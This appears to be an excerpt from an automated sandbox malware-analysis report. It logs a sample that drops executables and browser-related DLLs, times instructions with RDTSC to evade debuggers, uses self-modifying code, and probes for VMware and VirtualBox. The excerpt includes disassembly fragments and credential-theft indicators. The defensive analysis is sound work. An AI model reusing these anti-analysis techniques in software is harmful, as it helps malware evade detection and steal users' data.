Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0A3C second address: 50E0A53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0A53 second address: 50E0A63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0A63 second address: 50E0AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-20h], eax 0x0000000c jmp 00007F473118FE66h 0x00000011 mov ebx, dword ptr [esi] 0x00000013 pushad 0x00000014 mov edi, eax 0x00000016 push esi 0x00000017 mov ecx, edx 0x00000019 pop edi 0x0000001a popad 0x0000001b mov dword ptr [ebp-24h], ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push edx 0x00000022 pop ecx 0x00000023 mov cx, bx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0AA1 second address: 50E0AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0AA7 second address: 50E0AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0AAB second address: 50E0ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ebx, ebx 0x0000000a pushad 0x0000000b mov bx, ax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0ABC second address: 50E0B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 je 00007F47A2F5F011h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F473118FE68h 0x00000013 adc eax, 7C53E418h 0x00000019 jmp 00007F473118FE5Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F473118FE68h 0x00000025 add esi, 1C934E78h 0x0000002b jmp 00007F473118FE5Bh 0x00000030 popfd 0x00000031 popad 0x00000032 cmp ebx, FFFFFFFFh 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0B29 second address: 50E0B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0B2D second address: 50E0B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0B48 second address: 50E0607 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 3FFAh 0x00000007 mov si, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jmp 00007F47A2F5F8CCh 0x00000012 jne 00007F47311907C9h 0x00000014 xor ecx, ecx 0x00000016 mov dword ptr [esi], ecx 0x00000018 mov dword ptr [esi+04h], ecx 0x0000001b mov dword ptr [esi+08h], ecx 0x0000001e mov dword ptr [esi+0Ch], ecx 0x00000021 mov dword ptr [esi+10h], ecx 0x00000024 mov dword ptr [esi+14h], ecx 0x00000027 mov ecx, dword ptr [ebp-10h] 0x0000002a mov dword ptr fs:[00000000h], ecx 0x00000031 pop ecx 0x00000032 pop edi 0x00000033 pop esi 0x00000034 pop ebx 0x00000035 mov esp, ebp 0x00000037 pop ebp 0x00000038 retn 0004h 0x0000003b nop 0x0000003c pop ebp 0x0000003d ret 0x0000003e add esi, 18h 0x00000041 pop ecx 0x00000042 cmp esi, 00CE35E8h 0x00000048 jne 00007F4731190790h 0x0000004a push esi 0x0000004b call 00007F4731191016h 0x00000050 push ebp 0x00000051 mov ebp, esp 0x00000053 push dword ptr [ebp+08h] 0x00000056 call 00007F47355D4715h 0x0000005b mov edi, edi 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F47311907B5h 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E001C second address: 50E0028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0028 second address: 50E003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F47311907ADh 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E003B second address: 50E0074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F473118FE5Ch 0x00000009 and ax, 05E8h 0x0000000e jmp 00007F473118FE5Bh 0x00000013 popfd 0x00000014 mov bh, ch 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F473118FE5Eh 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 38CF64 second address: 38CF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F47311907A6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 38CF71 second address: 38C76E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F473118FE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c pushad 0x0000000d mov cl, ah 0x0000000f cmc 0x00000010 popad 0x00000011 push dword ptr [ebp+122D0631h] 0x00000017 cmc 0x00000018 call dword ptr [ebp+122D2363h] 0x0000001e pushad 0x0000001f jmp 00007F473118FE5Eh 0x00000024 or dword ptr [ebp+122D1FF0h], esi 0x0000002a xor eax, eax 0x0000002c add dword ptr [ebp+122D1FF0h], edx 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 stc 0x00000037 mov dword ptr [ebp+122D3486h], eax 0x0000003d mov dword ptr [ebp+122D2EB7h], edi 0x00000043 mov esi, 0000003Ch 0x00000048 jbe 00007F473118FE5Ch 0x0000004e jnp 00007F473118FE57h 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 or dword ptr [ebp+122D1FF0h], eax 0x0000005e lodsw 0x00000060 stc 0x00000061 add eax, dword ptr [esp+24h] 0x00000065 mov dword ptr [ebp+122D2EB7h], ebx 0x0000006b mov ebx, dword ptr [esp+24h] 0x0000006f mov dword ptr [ebp+122D1FF0h], edx 0x00000075 nop 0x00000076 pushad 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 38C76E second address: 38C79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jns 00007F47311907ACh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F47311907B9h 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 508D7B second address: 508D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 509060 second address: 509065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 509065 second address: 509072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jng 00007F473118FE56h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 509072 second address: 5090A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F47311907B7h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F47311907B2h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 5090A7 second address: 5090AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 509217 second address: 50923F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F47311907B0h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F47311907B2h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 5093E3 second address: 5093FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pushad 0x00000007 jmp 00007F473118FE63h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 50B882 second address: 50B886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 50B93B second address: 50B941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 50B941 second address: 50B945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	RDTSC instruction interceptor: First address: 50B945 second address: 50B953 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Special instruction interceptor: First address: CEC72A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Special instruction interceptor: First address: CEC7FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Special instruction interceptor: First address: E90B11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Special instruction interceptor: First address: EB7C78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 38C72A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 38C7FD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 530B11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Special instruction interceptor: First address: 557C78 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe

Code function: 7_2_05130BD8 rdtsc

7_2_05130BD8

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 7822	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2178	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: foregroundWindowGot 357	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 1628	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 2105	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 361	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 1873	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window / User API: threadDelayed 1246	Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\tAa6xNsucX.exe TID: 6584	Thread sleep count: 153 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 1960	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 1960	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 6204	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 6204	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5008	Thread sleep count: 1628 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5008	Thread sleep time: -3257628s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5448	Thread sleep count: 2105 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5448	Thread sleep time: -4212105s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 4120	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 4120	Thread sleep time: -94047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 6104	Thread sleep count: 361 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 6104	Thread sleep time: -10830000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 7216	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 6024	Thread sleep count: 1873 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 6024	Thread sleep time: -3747873s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 1644	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 1644	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5008	Thread sleep count: 1246 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe TID: 5008	Thread sleep time: -2493246s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C32C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C32C930

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: DGDBFBFC.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: DGDBFBFC.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: vmware
Source: DGDBFBFC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: explortu.exe, 00000009.00000002.4583229120.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW']
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: DGDBFBFC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explortu.exe, explortu.exe, 0000000D.00000002.2729952140.0000000000511000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000E.00000002.3332519871.0000000000511000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000F.00000002.3931868304.0000000000511000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 00000010.00000002.4529629010.0000000000511000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: DGDBFBFC.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
